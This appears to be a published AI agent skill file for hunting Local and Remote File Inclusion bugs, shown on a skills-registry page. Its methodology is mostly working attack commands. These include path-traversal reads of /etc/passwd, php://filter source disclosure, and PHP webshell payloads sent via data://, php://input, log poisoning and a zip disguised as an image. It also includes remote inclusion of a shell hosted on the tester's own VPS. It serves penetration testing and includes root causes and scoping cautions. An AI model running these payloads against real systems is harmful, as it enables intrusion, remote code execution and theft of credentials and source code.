lfi-rfi
Skill1 starsChanged 13 days agoMITView on GitHub
Hunt for Local and Remote File Inclusion: path traversal to read/include local files, null-byte/truncation tricks on legacy stacks, and PHP wrapper abuse (php://filter, php://input, data://, phar://, zip://, expect://). Use when a parameter names a file, template, page, or language to load — `?page=`, `?template=`, `?lang=`, `?file=`, download/export endpoints, theme/plugin loaders. Keywords: lfi, rfi, local file inclusion, remote file inclusion, path traversal, directory traversal, ../../, null byte, php://filter, php wrapper, log poisoning, zip wrapper RCE, phar deserialization. Do NOT use for pure directory-listing/misconfiguration with no traversal primitive — use info-disclosure. Do NOT use once a wrapper chain reaches code execution — continue under rce for that half of the write-up.
- Reads credentials
- Sends data out
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 2 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈2
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 153
Document exact traversal depth/encoding and wrapper string used — these are highly stack-specific and must be reproducible verbatim.
- Distinctive: line 179
Before declaring this finding complete, probe these escalation paths:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Params that name a resource to load server-side:
page,template,view,file,lang,module,doc,report,theme,include. - PHP stacks specifically (wrapper abuse is PHP-specific) — check
X-Powered-By: PHP,.phpextensions,PHPSESSIDcookie. - Download/export endpoints that take a filename/path param and stream file content back.
- Legacy app signals (old PHP version, no modern framework routing) — null-byte truncation only works on PHP < 5.3.4ish, so this narrows applicability fast.
- Any endpoint whose response changes meaningfully when you append
../sequences (even a generic error change is worth investigating further).
Prerequisites
- An identified file/path-naming parameter.
- Knowledge (or a guess) of the target OS (Linux vs Windows) to pick the right traversal depth/ separator and target files.
- For RFI: confirmation the include function can fetch remote URLs (
allow_url_includeenabled in PHP — rare on modern/hardened stacks, but still worth a quick check) and your own infra to host the payload file.
Methodology
- Baseline and basic traversal probe:
For Windows targets:curl -s "https://target/view?page=about" # baseline curl -s "https://target/view?page=../../../../etc/passwd" curl -s "https://target/view?page=....//....//....//etc/passwd" # filter-bypass doubling curl -s "https://target/view?page=..%2f..%2f..%2fetc%2fpasswd" # URL-encoded curl -s "https://target/view?page=..%252f..%252f..%252fetc%252fpasswd" # double-encoded curl -s "https://target/view?page=/etc/passwd" # absolute path, no traversal neededcurl -s "https://target/view?page=..\\..\\..\\windows\\win.ini" curl -s "https://target/view?page=C:\\windows\\win.ini" - Extension-appended inclusion bypass (when the app force-appends
.php/.htmlto the param, blocking plain traversal to non-matching files):curl -s "https://target/view?page=../../../../etc/passwd%00" # null byte (old PHP only) curl -s "https://target/view?page=../../../../etc/passwd/." # trailing dot/slash trick curl -s "https://target/view?page=../../../../etc/passwd%2500" # encoded null byte - PHP wrapper abuse — source disclosure without execution (when traversal reaches a
.phpfile you want to read, not execute):curl -s "https://target/view?page=php://filter/convert.base64-encode/resource=config" # decode the response body: curl -s "https://target/view?page=php://filter/convert.base64-encode/resource=config" | base64 -d php://input/data://for RCE via LFI (local file inclusion escalated to code execution without needing a remote file — useful whenallow_url_includeis off butallow_url_fopen/data wrapper still works):# data:// wrapper, base64-encoded PHP payload inline (no upload needed) PAYLOAD='<?php system($_GET["cmd"]); ?>' B64=$(echo -n "$PAYLOAD" | base64) curl -s "https://target/view?page=data://text/plain;base64,$B64&cmd=id" # php://input — payload goes in the POST body, included directly curl -s -X POST "https://target/view?page=php://input" --data '<?php system($_GET["cmd"]); ?>' \ -G --data-urlencode "cmd=id"- Log poisoning → LFI-to-RCE (classic chain when wrappers are disabled but a log file is
both world-writable-via-injection and includable):
# poison a log the app will later include, e.g. via User-Agent into access.log curl -s -A '<?php system($_GET["cmd"]); ?>' "https://target/" # then include the poisoned log and trigger it curl -s "https://target/view?page=../../../../var/log/apache2/access.log&cmd=id" - Zip wrapper RCE (upload a malicious zip, then include it via the
zip://wrapper to execute the contained PHP):echo '<?php system($_GET["cmd"]); ?>' > shell.php zip payload.zip shell.php mv payload.zip payload.jpg # disguise if upload filter checks extension only curl -s -X POST https://target/upload -F "file=@payload.jpg" curl -s "https://target/view?page=zip://./uploads/payload.jpg%23shell.php&cmd=id" - Remote File Inclusion (only if
allow_url_include-style remote fetch is confirmed — test cautiously, it's uncommon on hardened/modern stacks):echo '<?php system($_GET["cmd"]); ?>' > shell.php python3 -m http.server 80 # on your VPS, serving shell.php curl -s "https://target/view?page=http://YOUR_VPS/shell.php&cmd=id" - Automated fuzzing for traversal depth/wordlist sweep:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \ -u "https://target/view?page=FUZZ" -mr "root:.*:0:0:" -o lfi_sweep.json -of json wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ --hc 404 "https://target/view?page=FUZZ"
Tooling
curl— manual confirmation for every variant above; always the first proof step.ffuf/wfuzzwith SecLists LFI wordlists — breadth sweep for traversal depth and known sensitive-file targets.- Burp Suite Intruder — same sweep, with response-size/status clustering to spot anomalies.
Root Causes
- User input concatenated directly into a filesystem path or
include()/require()call without canonicalization and allowlist checking. - Relying on blocklist filtering (
str_replace("../", "", $input)) which is defeated by doubling (....//), encoding, or non-dot-dot absolute paths. - PHP wrapper support left enabled (
allow_url_fopen,allow_url_include) when the app never needs remote resource loading. - Logs, upload directories, or session files writable by user-controlled content and reachable by the same inclusion primitive (the log/zip-poisoning chains).
Validation Gate (minimum proof)
- Actual file content from a known system file (
/etc/passwdcontents,win.ini[fonts]section) returned in the response, or via a wrapper-decoded response (base64 decode shown in the writeup). - For RCE escalation: command output reflected or OOB callback received, same bar as rce.
- Document exact traversal depth/encoding and wrapper string used — these are highly stack-specific and must be reproducible verbatim.
Gotchas
- Minimum proof, not a filesystem crawl. One confirmed file (ideally one with no sensitive
content,
/etc/passwd,win.ini) is proof; don't pivot to reading credential files or app secrets without checking whether that's needed for the specific finding being demonstrated, and flag before doing so if it crosses into clearly sensitive data. - Common N/A: app resolves the path with
realpath()/basename()before use, stripping traversal sequences entirely — confirm by testing whether any encoding/doubling variant still works before concluding not-vulnerable; if none do, this is a solid N/A. - Common N/A:
allow_url_includeis off (default and recommended since PHP 5.2) — RFI viahttp://wrapper will simply fail; don't report RFI as a finding without confirming this setting's effective state via a real round-trip test, not just an assumption from PHP version. - Overclaim trap: a
200response to a traversal payload that returns the same content as the baseline page is not proof — confirm the response content actually matches the target file's real content, not a default/fallback page the app serves for any invalidpagevalue. - Null-byte truncation is dead on any currently-supported PHP version — don't spend much time on it; note as a quick test, move past it fast.
- Wrapper-based payloads (
php://filter,zip://,phar://) are extremely version/ configuration-sensitive — a failure on one doesn't rule out the class, cycle through the relevant wrappers for the confirmed backend language before declaring N/A.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Full RCE via log/wrapper poisoning — Can LFI be escalated to RCE via log poisoning (inject code into logs, then include them) or PHP wrappers (php://filter, phar://, expect://)?
- Remote file inclusion to RCE — If RFI is possible, can you include an attacker-hosted file to achieve direct code execution?
- Sensitive file read beyond the obvious — Beyond /etc/passwd, can you read app source, config files, or credentials (.env, database config, SSH keys)?
- Path traversal depth/filter bypass — Does the filter block naive ../ but allow encoded, double-encoded, or null-byte variants to reach arbitrary depth?
- Chain with SSRF — Does the inclusion mechanism allow fetching internal URLs, effectively acting as an SSRF primitive (RFI over an HTTP wrapper)?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- LFI → rce via log poisoning,
php://input,data://, orzip://wrapper chains (see steps 5-6 above). - LFI → info-disclosure (source code, config files, credentials in flat files).
- SSTI's template-engine
includedirective abuse (ssti) overlaps with this when the underlying primitive is a path-traversal-capable template loader. - RFI chains directly into rce the moment a remote payload is fetched and executed — there's no meaningful intermediate state to report separately.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

